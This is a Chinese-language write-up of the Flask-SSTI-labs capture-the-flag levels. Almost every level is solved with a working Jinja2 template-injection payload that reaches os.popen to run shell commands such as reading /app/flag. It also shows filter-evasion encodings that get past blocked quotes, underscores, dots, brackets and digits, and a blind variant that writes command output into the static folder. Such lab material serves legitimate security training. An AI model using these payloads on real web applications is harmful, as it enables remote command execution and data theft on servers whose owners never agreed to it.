Flask-SSTI-labs 通关记录
搭建环境
建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

Level 1 no waf
1 2 3
| {% raw %} {'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"} {% endraw %}
|
Level 2 bl[‘{{’]
1 2 3
| {% raw %} {'code': "{%print (sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()%}"} {% endraw %}
|
Level 3 no waf and blind
在 Flask 中,静态目录(static)是用来存放静态文件的,例如:
- CSS 样式表
- JavaScript 脚本
- 图片(如 PNG、JPG、SVG)
- 字体文件(如 TTF、WOFF)
- 其他前端资源
如何访问静态文件
在浏览器中访问的 URL 为:
1
| http://localhost:5000/static/css/style.css
|
Flask 会自动将 static 目录中的文件映射为 /static/ 路径开头的 URL。
往 Flask 的静态目录写入一个文件,准备“盲打文件”然后从前端页面读取结果,这是一种盲注回显替代方式。
1 2 3
| {% raw %} {{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}} {% endraw %}
|
成功写入 static 静态目录,
读取 flag:
1 2 3
| {% raw %} code={{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}} {% endraw %}
|

Level 4 bl[‘[’, ‘]’]
1 2 3
| {% raw %} {'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"} {% endraw %}
|
Level 5 bl[‘’’, ‘“’]
1 2 3
| {% raw %} {'code': '{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(((lipsum()|urlencode|first+dict(c=i)|join)*13)%(99,97,116,32,47,97,112,112,47,102,108,97,103))).read()}}'} {% endraw %}
|
Level 6 bl[‘_’]
1 2 3
| {% raw %} {'code': '{{((sbwaf|attr("%c"%95+"%c"%95+\'eq\'+"%c"%95+"%c"%95))["%c"%95+"%c"%95+\'globals\'+"%c"%95+"%c"%95].sys.modules.os.popen(\'cat /app/flag\')).read()}}'} {% endraw %}
|
Level 7 bl[‘.’]
1 2 3
| {% raw %} {'code': "{{((sbwaf|attr('__eq__'))['__globals__']['sys']['modules']['os']['popen']('cat /app/flag'))['read']()}}"} {% endraw %}
|
1 2 3
| {% raw %} {'code': "{{(sbwaf.__eq__['__g''lobals__'].sys.modules.os['po''pen']('cat /app/flag')).read()}}"} {% endraw %}
|
Level 9 bl[‘0-9’]
1 2 3
| {% raw %} {'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"} {% endraw %}
|
Level 10 set config = None
1 2 3
| {% raw %} {'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"} {% endraw %}
|
Level 11 bl[‘’’, ‘“’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
1 2 3
| {% raw %} {'code': '{{sbwaf|attr(lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last~dict(EQ=i)|first|lower~lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last)|attr(lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last~dict(GLOBALS=i)|first|lower~lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last)|attr(dict(GET=i)|first|lower)(dict(SYS=i)|first|lower)|attr(dict(MODULES=i)|first|lower)|attr(dict(GET=i)|first|lower)(dict(OS=i)|first|lower)|attr(dict(POPEN=i)|first|lower)(((lipsum()|urlencode|first~dict(c=i)|join)*13)%(99,97,116,32,47,97,112,112,47,102,108,97,103))|attr(dict(READ=i)|first|lower)()}}'} {% endraw %}
|